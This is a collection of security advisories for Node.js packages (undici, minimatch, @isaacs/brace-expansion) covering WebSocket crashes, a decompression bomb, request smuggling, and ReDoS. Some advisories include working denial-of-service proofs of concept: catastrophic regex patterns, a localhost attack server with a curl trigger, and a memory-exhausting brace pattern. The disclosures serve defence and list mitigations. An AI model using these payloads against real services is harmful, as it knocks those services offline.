Package Instance

Undici has Unhandled Exception in WebSocket Client Due to Invalid server_max_window_bits Validation
### Impact

The undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range `server_max_window_bits` value (outside zlib's valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination.

The vulnerability exists because:

1. The `isValidClientWindowBits()` function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15
2. The `createInflateRaw()` call is not wrapped in a try-catch block
3. The resulting exception propagates up through the call stack and crashes the Node.js process

### Patches
_Has the problem been patched? What versions should users upgrade to?_

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
### Summary
`minimatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive `*` wildcards followed by a literal character that doesn't appear in the test string. Each `*` compiles to a separate `[^/]*?` regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of `*` characters. With N=15, a single `minimatch()` call takes ~2 seconds. With N=34, it hangs effectively forever.


### Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._

### PoC
When minimatch compiles a glob pattern, each `*` becomes `[^/]*?` in the generated regex. For a pattern like `***************X***`:

```
/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/
```

When the test string doesn't contain `X`, the regex engine must try every possible way to distribute the characters across all the `[^/]*?` groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.
### Impact
Any application that passes user-controlled strings to `minimatch()` as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
- `.gitignore`-style filtering with user-defined rules
- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input

----

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
### Summary

Nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.

---

### Details

The root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:

```typescript
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
```

This produces the following regexps:

| Pattern              | Generated regex                          |
|----------------------|------------------------------------------|
| `*(a\|b)`            | `/^(?:a\|b)*$/`                          |
| `*(*(a\|b))`         | `/^(?:(?:a\|b)*)*$/`                     |
| `*(*(*(a\|b)))`      | `/^(?:(?:(?:a\|b)*)*)*$/`               |
| `*(*(*(*(a\|b))))` | `/^(?:(?:(?:(?:a\|b)*)*)*)*$/`          |

These are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8's backtracking engine explores an exponential number of paths before returning `false`.

The generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.

Measured times via `minimatch()`:

| Pattern              | Input              | Time       |
|----------------------|--------------------|------------|
| `*(*(a\|b))`         | `a` x30 + `z`      | ~68,000ms  |
| `*(*(*(a\|b)))`      | `a` x20 + `z`      | ~124,000ms |
| `*(*(*(*(a\|b))))` | `a` x25 + `z`      | ~116,000ms |
| `*(a\|a)`            | `a` x25 + `z`      | ~2,000ms   |

Depth inflection at fixed input `a` x16 + `z`:

| Depth | Pattern              | Time         |
|-------|----------------------|--------------|
| 1     | `*(a\|b)`            | 0ms          |
| 2     | `*(*(a\|b))`         | 4ms          |
| 3     | `*(*(*(a\|b)))`      | 270ms        |
| 4     | `*(*(*(*(a\|b))))` | 115,000ms    |

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.

---

### PoC

Tested on minimatch@10.2.2, Node.js 20.

**Step 1 -- verify the generated regexps and timing (standalone script)**

Save as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:

```javascript
import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
```

Observed output:
```
depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
```

**Step 2 -- HTTP server (event loop starvation proof)**

Save as `poc4-server.mjs`:

```javascript
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
```

Terminal 1 -- start the server:
```
node poc4-server.mjs
```

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
```
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
```

Terminal 3 -- send a benign request while the attack is in-flight:
```
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
```

**Observed output -- Terminal 2 (attack):**
```
{"result":false,"ms":"64149"}
```

**Observed output -- Terminal 3 (benign, concurrent):**
```
{"result":false,"ms":"0"}

time_total: 63.022047s
```

**Terminal 1 (server log):**
```
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
```

The server reports `"ms":"0"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.

---

### Impact

Any context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Undici has an HTTP Request/Response Smuggling issue
### Impact

Undici allows duplicate HTTP `Content-Length` headers when they are provided in an array with case-variant names (e.g., `Content-Length` and `content-length`). This produces malformed HTTP/1.1 requests with multiple conflicting `Content-Length` values on the wire.

**Who is impacted:**
  - Applications using `undici.request()`, `undici.Client`, or similar low-level APIs with headers passed as flat arrays
  - Applications that accept user-controlled header names without case-normalization

**Potential consequences:**
  - **Denial of Service**: Strict HTTP parsers (proxies, servers) will reject requests with duplicate `Content-Length` headers (400 Bad Request)
  - **HTTP Request Smuggling**: In deployments where an intermediary and backend interpret duplicate headers inconsistently (e.g., one uses the first value, the other uses the last), this can enable request smuggling attacks leading to ACL bypass, cache poisoning, or credential hijacking

### Patches

 Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.

### Workarounds

  If upgrading is not immediately possible:

  1. **Validate header names**: Ensure no duplicate `Content-Length` headers (case-insensitive) are present before passing headers to undici
  2. **Use object format**: Pass headers as a plain object (`{ 'content-length': '123' }`) rather than an array, which naturally deduplicates by key
  3. **Sanitize user input**: If headers originate from user input, normalize header names to lowercase and reject duplicates

@isaacs/brace-expansion has Uncontrolled Resource Consumption
### Summary

`@isaacs/brace-expansion` is vulnerable to a Denial of Service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process.

### Details

The vulnerability occurs because `@isaacs/brace-expansion` expands brace expressions without any upper bound or complexity limit. Expansion is performed eagerly and synchronously, meaning the full result set is generated before returning control to the caller.

For example, the following input:

```
{0..99}{0..99}{0..99}{0..99}{0..99}
```

produces:

```
100^5 = 10,000,000,000 combinations
```

This exponential growth can quickly overwhelm the event loop and heap memory, resulting in process termination.

### Proof of Concept

The following script reliably triggers the issue.

Create `poc.js`:

```js
const { expand } = require('@isaacs/brace-expansion');

const pattern = '{0..99}{0..99}{0..99}{0..99}{0..99}';

console.log('Starting expansion...');
expand(pattern);
```

Run it:

```bash
node poc.js
```

The process will freeze and typically crash with an error such as:

```
FATAL ERROR: JavaScript heap out of memory
```

### Impact

This is a denial of service vulnerability. Any application or downstream dependency that uses `@isaacs/brace-expansion` on untrusted input may be vulnerable to a single-request crash.

An attacker does not require authentication and can use a very small payload to:

* Trigger exponential computation
* Exhaust memory and CPU resources
* Block the event loop
* Crash Node.js services relying on this library

Undici has Unbounded Memory Consumption in WebSocket permessage-deflate Decompression
## Description

The undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a "decompression bomb") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.

The vulnerability exists in the `PerMessageDeflate.decompress()` method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.

## Impact

- Remote denial of service against any Node.js application using undici's WebSocket client
- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more
- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits
- No application-level mitigation is possible as decompression occurs before message delivery

### Patches

Users should upgrade to fixed versions.

### Workarounds

No workaround are possible.